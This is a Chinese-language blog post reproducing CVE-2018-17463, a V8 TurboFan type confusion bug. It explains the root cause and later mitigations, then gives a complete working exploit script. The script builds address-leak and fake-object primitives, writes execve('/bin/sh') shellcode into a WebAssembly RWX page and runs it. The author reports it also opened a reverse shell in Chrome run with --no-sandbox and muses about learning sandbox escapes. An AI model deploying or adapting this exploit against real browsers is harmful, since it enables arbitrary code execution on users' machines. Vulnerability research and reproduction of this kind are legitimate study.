cve201817463
之前复现了忘发了。才发现写的markdown直接拖进来就能发,还挺方便,不知道是一直有的功能还是新加的,反正好评!!👍
漏洞概述
CVE-2018-17463 是 Google V8 JavaScript 引擎中的一个类型混淆(Type Confusion)漏洞。攻击者可以通过构造特定的 JavaScript 代码来触发该漏洞,最终实现任意代码执行。
漏洞成因
1. 对象属性存储方式变化
V8 引擎在处理 JavaScript 对象时,会根据对象属性的数量和使用情况动态改变对象的存储方式:
- 当对象属性较少且稳定时,使用"快速属性"(Fast Properties)模式
- 当对象频繁增删属性或达到一定数量时,切换到"字典属性"(Dictionary Properties)模式
2. TurboFan 优化问题
TurboFan 是 V8 的优化编译器,它会在某些情况下对属性访问进行优化:
- 在 FastProperties 模式下,TurboFan 会硬编码属性的偏移量
- 当对象切换到 DictionaryProperties 模式后,属性存储位置发生变化
- TurboFan 没有正确处理这种模式转换,导致 CheckMaps 节点被错误地优化掉
bash
/root/v8/v8/out/x64.debug/d8 --allow-natives-syntax /root/script_v8/test_1.js
DebugPrint: 0x8f5f960e261: [JS_OBJECT_TYPE]
- map: 0x0b281998c9d1 <Map(HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x2df8c40846d9 <Object map = 0xb28199822f1>
- elements: 0x3580b2f02cf1 <FixedArray[0]> [HOLEY_ELEMENTS]
- properties: 0x3580b2f02cf1 <FixedArray[0]> {
#x: 42 (data field 0)
#y: 21 (data field 1)
}
0xb281998c9d1: [Map]
- type: JS_OBJECT_TYPE
- instance size: 40
- inobject properties: 2
- elements kind: HOLEY_ELEMENTS
- unused property fields: 0
- enum length: invalid
- stable_map
- back pointer: 0x0b281998c981 <Map(HOLEY_ELEMENTS)>
- prototype_validity cell: 0x11b16dc82201 <Cell value= 1>
- instance descriptors (own) #2: 0x08f5f960e2c1 <DescriptorArray[8]>
- layout descriptor: (nil)
- prototype: 0x2df8c40846d9 <Object map = 0xb28199822f1>
- constructor: 0x2df8c4084711 <JSFunction Object (sfi = 0x11b16dc8ed51)>
- dependent code: 0x3580b2f02391 <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
- construction counter: 0
DebugPrint: 0x8f5f960e261: [JS_OBJECT_TYPE]
- map: 0x0b281998ca71 <Map(HOLEY_ELEMENTS)> [DictionaryProperties]
- prototype: 0x2df8c40846d9 <Object map = 0xb28199822f1>
- elements: 0x3580b2f02cf1 <FixedArray[0]> [HOLEY_ELEMENTS]
- properties: 0x08f5f960e311 <NameDictionary[29]> {
#y: 21 (data, dict_index: 2, attrs: [WEC])
#x: 42 (data, dict_index: 1, attrs: [WEC])
}
0xb281998ca71: [Map]
- type: JS_OBJECT_TYPE
- instance size: 40
- inobject properties: 2
- elements kind: HOLEY_ELEMENTS
- unused property fields: 0
- enum length: invalid
- dictionary_map
- may_have_interesting_symbols
- prototype_map
- prototype info: 0x2df8c40a3341 <PrototypeInfo>
- prototype_validity cell: 0x11b16dc82201 <Cell value= 1>
- instance descriptors (own) #0: 0x3580b2f02321 <DescriptorArray[2]>
- layout descriptor: (nil)
- prototype: 0x2df8c40846d9 <Object map = 0xb28199822f1>
- constructor: 0x2df8c4084711 <JSFunction Object (sfi = 0x11b16dc8ed51)>
- dependent code: 0x3580b2f02391 <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
- construction counter: 0
可以看到对o调用Object.create后o的map从FastProperties变为DictionaryProperties,o的properties从FixedArray[0]变为NameDictionary[29],o的map从stable_map变为dictionary_map,且may_have_interesting_symbols。
具体来说,o在内存中的表示方式发生变化,从一种高效的"快速属性"模式切换到了"字典属性"模式。
可能存在的安全问题:
- 原型污染
- Symbol属性暴露
通过https://v8.github.io/tools/head/turbolizer/index.html
可视化。
选择Typer47可以看到每一次LoadField之前都进行了CheckMaps操作,选择simplified modifying57可以看到CHeckMaps节点消失。
解释:最初 b 是一个字段偏移量(field offset)为 12 的 fast property,则 Turbofan 会硬编码该偏移量。之后 obj 被修改成 dictionary mode,此时 b 的值不再存储在固定偏移处,而是存在隐藏类之外的一个字典里。 Turbofan 直接读取了一个错误的偏移地址,可能读取到其他对象的数据、甚至内存中的任意数据。
利用方法: 首先构造一个obj,初始化时赋予属性a,然后增加属性b,函数中首先访问a,通过类型检查,然后读取x.b,由于没有类型检查,此时返回一个与原b属性偏移相同的数据,但由于Properties发生变化,返回的数据不会再是b属性的值,而是我们需要利用的地址。
问题: 尽管有个可以利用的地址,但是随机任意不可控的地址是意义不大的。
解决: 尽管Dictionary内部的内存布局是随机的,不过在V8中有一规律,相同属性的obj,在Dictionary中各属性的偏移也相同。
利用这个方法,访问属性b时会访问到一个不是b的其他元素。
问题: 如何知道可以访问到的其他元素是什么类型的?
解决: 按照一定的规律进行赋值,如属性bi的值定义为-i,然后依次读取,如果读出的值与原值不同,则可以根据读出的值找到最终读出的是哪一个属性的值。
现在获得了一个读a知道b的方法,就可以先进行地址泄露,先设置a为number,b为想要获取地址的object,然后读a就相当于以数字来读取obj的对象指针,可以知道b的地址了。
以同样的方法也可以进行任意地址写。
利用方法:
现在能泄露地址、能任意写,就能触发漏洞了。 创建WebAssembly模块,新建一个WebAssembly.Instance实例,就会自动分配RWX内存,使用地址泄露获取实例的地址,RWX内存的地址存在实例偏移0xf0的位置,构造一个obj使其backing store指向RWX内存,向RWX内存写入shellcode,调用WebAssembly.Instance().export.main()即会执行shellcode。
后期WebAssembly默认不再分配RWX内存。
之后的JIT编译器更保守地插入CheckMaps(如果 Map 被修改,则 CheckMaps 会触发去优化或运行时错误)确保检查到位。
后续有了Heap PartitionAlloc。
🔒 PartitionAlloc 的核心特性:
特性 | 说明 |
---|---|
隔离分配(Isolated Partitions) | 将不同类型的数据放在不同的分区中,避免互相干扰 |
Cookie 检查 | 分配时加入随机填充值,释放时验证完整性 |
线程本地缓存(TLS Cache) | 加快小对象分配速度 |
防喷射(Mitigations against heap spraying) | 避免攻击者精确控制堆布局 |
指针压缩(Pointer Compression) | 减少内存占用,提高 ASLR 抵抗能力 |
Hardened Memory Accesses | 防止通过伪造对象实现任意读写 |
poc
js
// /root/v8/v8/out/x64.release/d8 /root/script_v8/getshell.js
// 初始化垃圾回收函数,用于强制触发 V8 的 NewSpace 回收
function forceGarbageCollection() {
for (let i = 0; i < ((1024 * 1024) / 0x10); i++) {
new String();
}
}
// 确保 NewSpace 是干净的,避免干扰
function prepareCleanNewSpace() {
forceGarbageCollection();
forceGarbageCollection();
}
// 构建 Float64 和 BigUint64Array 来进行浮点数与整数转换
const floatView = new Float64Array(1);
const uint64View = new BigUint64Array(floatView.buffer);
Number.prototype.toBigInt = function () {
floatView[0] = this;
return uint64View[0];
};
BigInt.prototype.toNumber = function () {
uint64View[0] = this;
return floatView[0];
};
// 十六进制工具函数
function toHexByte(b) {
return ('0' + b.toString(16)).substr(-2);
}
function hexlify(bytes) {
let result = [];
for (let i = 0; i < bytes.length; i++) {
result.push(toHexByte(bytes[i]));
}
return result.join('');
}
function unhexlify(hexstr) {
if (hexstr.length % 2 !== 0)
throw new TypeError("Invalid hex string");
let bytes = new Uint8Array(hexstr.length / 2);
for (let i = 0; i < hexstr.length; i += 2)
bytes[i / 2] = parseInt(hexstr.substr(i, 2), 16);
return bytes;
}
function hexDump(data) {
if (typeof data.BYTES_PER_ELEMENT !== 'undefined')
data = Array.from(data);
let lines = [];
for (let i = 0; i < data.length; i += 16) {
let chunk = data.slice(i, i + 16);
let parts = chunk.map(toHexByte);
if (parts.length > 8)
parts.splice(8, 0, ' ');
lines.push(parts.join(' '));
}
return lines.join('\n');
}
// 简化版 Struct 类型处理
const Struct = (function () {
const buffer = new ArrayBuffer(8);
const byteView = new Uint8Array(buffer);
const uint32View = new Uint32Array(buffer);
const float64View = new Float64Array(buffer);
return {
pack: function (type, value) {
const view = type;
view[0] = value;
return new Uint8Array(buffer, 0, type.BYTES_PER_ELEMENT);
},
unpack: function (type, bytes) {
if (bytes.length !== type.BYTES_PER_ELEMENT)
throw Error("Invalid bytearray");
const view = type;
byteView.set(bytes);
return view[0];
},
int8: byteView,
int32: uint32View,
float64: float64View
};
})();
// 64位整数类
function Int64(value) {
const bytes = new Uint8Array(8);
switch (typeof value) {
case 'number':
value = '0x' + Math.floor(value).toString(16);
case 'string':
if (value.startsWith('0x'))
value = value.substr(2);
if (value.length % 2 == 1)
value = '0' + value;
const bigEndian = unhexlify(value, 8);
bytes.set(Array.from(bigEndian).reverse());
break;
case 'object':
if (value instanceof Int64) {
bytes.set(value.bytes());
} else {
if (value.length != 8)
throw TypeError("Array must have exactly 8 elements.");
bytes.set(value);
}
break;
default:
break;
}
this.asDouble = function () {
if (bytes[7] == 0xff && (bytes[6] == 0xff || bytes[6] == 0xfe))
throw new RangeError("Integer can not be represented by a double");
return Struct.unpack(Struct.float64, bytes);
};
this.bytes = function () {
return Array.from(bytes);
};
this.byteAt = function (i) {
return bytes[i];
};
this.toString = function () {
return '0x' + hexlify(Array.from(bytes).reverse());
};
}
Int64.fromDouble = function (d) {
const bytes = Struct.pack(Struct.float64, d);
return new Int64(bytes);
};
function utf8ToString(heap, ptr) {
let s = "";
for (let i = ptr; heap[i]; i++) {
s += String.fromCharCode(heap[i]);
}
return s;
}
function log(msg, extra = '') {
print("[+] " + msg + ": " + extra);
}
// =================== //
// Start here! //
// =================== //
function checkVulnerabilityExistence() {
function vulnerableFunction(x) {
x.a;
Object.create(x);
return x.b;
}
for (let i = 0; i < 10000; i++) {
let obj = { a: 0x1234 };
obj.b = 0x5678;
let result = vulnerableFunction(obj);
if (result != 0x5678) {
log("VULNERABILITY EXISTS", "CVE-2018-17463");
return;
}
}
throw "Bad d8 version";
}
let overlappingProp1, overlappingProp2;
function findOverlappingProperties() {
const propNames = [];
for (let i = 0; i < 32; i++) {
propNames[i] = 'prop' + i;
}
eval(`
function vulnerableFunction(obj) {
obj.a;
this.Object.create(obj);
${propNames.map((name) => `let ${name} = obj.${name};`).join('\n')}
return [${propNames.join(', ')}];
}
`);
const testValues = [];
for (let i = 1; i < 32; i++) {
testValues[i] = -i;
}
for (let i = 0; i < 10000; i++) {
const result = vulnerableFunction(getTestObject(testValues));
for (let j = 1; j < result.length; j++) {
if (j !== -result[j] && result[j] < 0 && result[j] > -32) {
[overlappingProp1, overlappingProp2] = [j, -result[j]];
log("Found overlapping properties", `prop${overlappingProp1} and prop${overlappingProp2}`);
return;
}
}
}
throw "[!] Failed to find overlapping properties";
}
function getTestObject(values) {
const obj = { a: 1234 };
for (let i = 0; i < 32; i++) {
Object.defineProperty(obj, 'prop' + i, {
writable: true,
value: values[i]
});
}
return obj;
}
function getObjectAddress(obj) {
eval(`
function vulnerableFunction(obj) {
obj.a;
this.Object.create(obj);
return obj.prop${overlappingProp1}.x1;
}
`);
const values = [];
values[overlappingProp1] = { x1: 1.1, x2: 1.2 };
values[overlappingProp2] = { y: obj };
for (let i = 0; i < 10000; i++) {
const result = vulnerableFunction(getTestObject(values));
if (result != 1.1) {
const address = Int64.fromDouble(result);
log("Found object address", address.toString());
return result;
}
}
throw "[!] AddrOf Primitive Failed";
}
function createFakeObject(obj, address) {
eval(`
function vulnerableFunction(obj) {
obj.a;
this.Object.create(obj);
let original = obj.prop${overlappingProp1}.x2;
obj.prop${overlappingProp1}.x2 = ${address};
return original;
}
`);
const values = [];
const placeholder = { x1: 1.1, x2: 1.2 };
values[overlappingProp1] = placeholder;
values[overlappingProp2] = obj;
for (let i = 0; i < 10000; i++) {
placeholder.x2 = 1.2;
const result = vulnerableFunction(getTestObject(values));
if (result != 1.2) {
log("Fake object created successfully");
return result;
}
}
throw "[!] FakeObj Primitive Failed";
}
// 创建一个简单的 WebAssembly 模块用于获取 RWX 地址
const wasmCode = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128, 128, 0, 1, 96, 0, 1, 127, 3, 130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128, 0, 1, 112, 0, 0, 5, 131, 128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 0, 0, 7, 145, 128, 128, 128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109, 97, 105, 110, 0, 0, 10, 138, 128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0, 65, 42, 11]);
const wasmModule = new WebAssembly.Module(wasmCode);
const wasmInstance = new WebAssembly.Instance(wasmModule, {});
const executeWasmFunction = wasmInstance.exports.main;
log("Checking if vulnerability exists");
checkVulnerabilityExistence();
log("Finding overlapping properties...");
findOverlappingProperties();
const memoryBuffer = new ArrayBuffer(1024);
const dataView = new DataView(memoryBuffer);
prepareCleanNewSpace();
log("Getting RWX page address");
const rwxPageAddress = getObjectAddress(wasmInstance);
createFakeObject(memoryBuffer, rwxPageAddress);
const codeAddress = Int64.fromDouble(dataView.getFloat64(0xf0 - 1, true));
log("RWX memory address", codeAddress.toString());
createFakeObject(memoryBuffer, codeAddress.asDouble());
log("Writing shellcode");
// 示例 shellcode(Linux x86_64 execve("/bin/sh"))
const shellcode = [
0x2fbb485299583b6an,
0x5368732f6e69622fn,
0x050f5e5457525f54n
];
for (let i = 0; i < shellcode.length; i++) {
dataView.setBigUint64(i * 8, shellcode[i], true);
}
log("Executing shellcode");
executeWasmFunction();
试了一下能用v8复现,页能用chrome复现,用的反射shell能连上,但是只能在google-chrome --no-sandbox
里面利用,在想之后想真实场景复现是不是还要学学怎么穿透沙箱机制🤔🤔